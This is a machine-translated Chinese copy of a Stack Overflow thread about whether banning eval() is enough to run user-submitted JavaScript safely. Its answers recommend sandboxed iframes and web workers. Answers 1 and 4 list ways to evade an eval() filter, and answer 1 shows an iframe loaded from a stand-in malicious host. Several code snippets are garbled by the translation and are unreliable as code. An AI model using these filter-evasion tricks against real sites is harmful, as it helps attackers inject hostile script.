如何让外部代码“安全”运行?只是禁止eval()?

时间:2009-04-11 10:42:31

标签: javascript security xss

我希望能够让社区成员提供他们自己的javascript代码供其他人使用,因为用户的想象力远远超过我能想到的任何东西。

但这引发了安全性的固有问题,特别是当目的是允许外部代码运行时。

那么,我可以从提交中禁止eval()并完成它吗?或者还有其他方法来评估代码或导致javascript中的大规模恐慌?

还有其他事情需要禁止,但我主要担心的是,除非我能防止字符串被执行,否则我可以规避任何其他过滤器用于特定方法。可行,还是我不得不求助于作者提供Web服务界面?

6 个答案:

答案 0 :(得分:12)

由于HTML5现已可用,因此您可以使用sandbox来获取不受信任的JavaScript代码。

OWASP HTML5 Security Cheat SheetSandboxed frames评论:

  
      
  • 将iframe的沙箱属性用于不受信任的内容。
  •   
  • iframe的沙箱属性可以限制iframe内的内容。设置沙箱属性时,以下限制处于活动状态:

         
        
    1. 所有标记都被视为来自独特的来源。

    2.   
    3. 禁用所有表单和脚本。

    4.   
    5. 阻止所有链接定位到其他浏览上下文。
    6.   
    7. 自动触发的所有功能都会被阻止。
    8.   
    9. 所有插件均已停用。

           

      可以使用iframe属性的值对sandbox功能进行细粒度控制。

    10.   
  •   
  • 在不支持此功能的旧版用户代理中,将忽略此属性。使用此功能作为额外的保护层,或检查浏览器是否支持沙盒框架,如果支持则仅显示不受信任的内容。

  •   
  • 除了此属性之外,为了防止Clickjacking攻击和未经请求的框架,我们鼓励使用支持X-Frame-Optionsdeny值的标头same-origin。其他解决方案如framebusting if(window!== window.top) { window.top.location = location; }不推荐使用。

  •   

您可以允许脚本运行,同时保持其他限制。但是,您应该确保脚本从与主要内容不同的域运行,以防止攻击者的XSS攻击重定向用户直接加载页面(即不通过您的IFrame)。

这将限制脚本使用eval攻击您的主域名,但这可能会阻止脚本实际上足够强大以满足您的需求。与您的主域名的任何互动都必须通过Window.postMessage。如果限制过于严格,@bobince's answer仍有最佳的解决方法建议。

有关如何安全实施沙箱的详细信息,请参阅my other answer

答案 1 :(得分:8)

  

还是有其他方法来评估代码

您无法在脚本解析级别过滤掉对eval()的调用,因为JavaScript是一种图灵完备语言,可以对调用进行模糊处理。例如。看看svinto的解决方法。您可以通过用空值覆盖来隐藏window.eval,但确实还有其他方法可以评估代码,包括(只是在我的头顶):

  • new Function('code')()
  • 文件撰写( '%3Cscript>代码%3C /脚本>')
  • 使用document.createElement( '脚本')。使用appendChild(document.createTextNode( '代码'))
  • window.setTimeout('code',0);
  • window.open(...)。EVAL( '代码')
  • location.href = '的javascript:代码'
  • IE中的
  • ,style / node.setExpression('someproperty','code')
  • 在某些浏览器中,node.onsomeevent ='code';
  • 在旧版浏览器中,Object.prototype.eval('code')
  

或导致javascript中的大规模恐慌?

好的createElement('iframe')。src ='http://evil.iframeexploitz.ru/aff=2345'是你可以期待的最糟糕的攻击之一......但实际上,当脚本有控制权时,它可以为用户在您的网站上执行任何操作。它可以让他们在你的论坛上发布“我是一个大的恋童癖者!”一千次,然后删除自己的帐户。例如。

  

我是否必须诉诸要求作者提供网络服务界面?

是,或者:

  • 什么都不做,让想要这个功能的用户下载GreaseMonkey
  • 审核每个脚本提交自己
  • 使用您自己(可能类似JavaScript的)迷你语言实际控制

后者可能感兴趣的一个例子是Google Caja。我不完全确定我会信任它;这是一项艰苦的工作,他们到目前为止肯定有一些安全漏洞,但如果你真的必须采用这种方法,它就是最好的。

答案 2 :(得分:5)

确实没有任何方法允许任意Javascript执行是安全的。实际上,您提供的用于防止恶意代码的任何类型的过滤都会剥离访问类似功能或数据的合法代码。我不认为你想做的事情是可行的。

答案 3 :(得分:1)

不,你实际上无法阻止用户提供的Javascript代码运行它想要的任何东西 - 即使不允许eval()无法阻止它运行任意程序(它可能是一个Javascript解释器本身,在这种情况下它只是实现eval()函数和许多其他方法 - 例如,它可以用字符串形式添加一些事件处理程序的HTML,然后执行它们,它可以document.write()一个新的脚本等。)。

如果您的网站不需要这个用户提供的JS在其他用户的计算机上运行,​​我只会发出一个很大的警告,添加一些人为控制(可能会标记流氓代码),也许是一些防病毒软件在服务器上(不太了解)。

答案 4 :(得分:0)

过滤掉eval可能不起作用。我想你可以这样破解它:window['ev' + 'al']('alert("hello world");');。你当然可以替换eval函数......

答案 5 :(得分:0)

您需要在沙盒环境中执行不受信任的代码。这意味着创建一个带有sandbox属性的iframe(请参阅this article),另外在该框架内创建一个web-worker(以便代码在一个单独的线程中运行,并且不会挂起UI如果用户提交了一些奇怪的例子)。

如果您需要以所描述的方式以某种方式与沙箱进行交互,则可以使用messaging mechanism。这有点棘手,但有一些库简化了任务,包括我自己创建的一个:https://github.com/asvd/jailed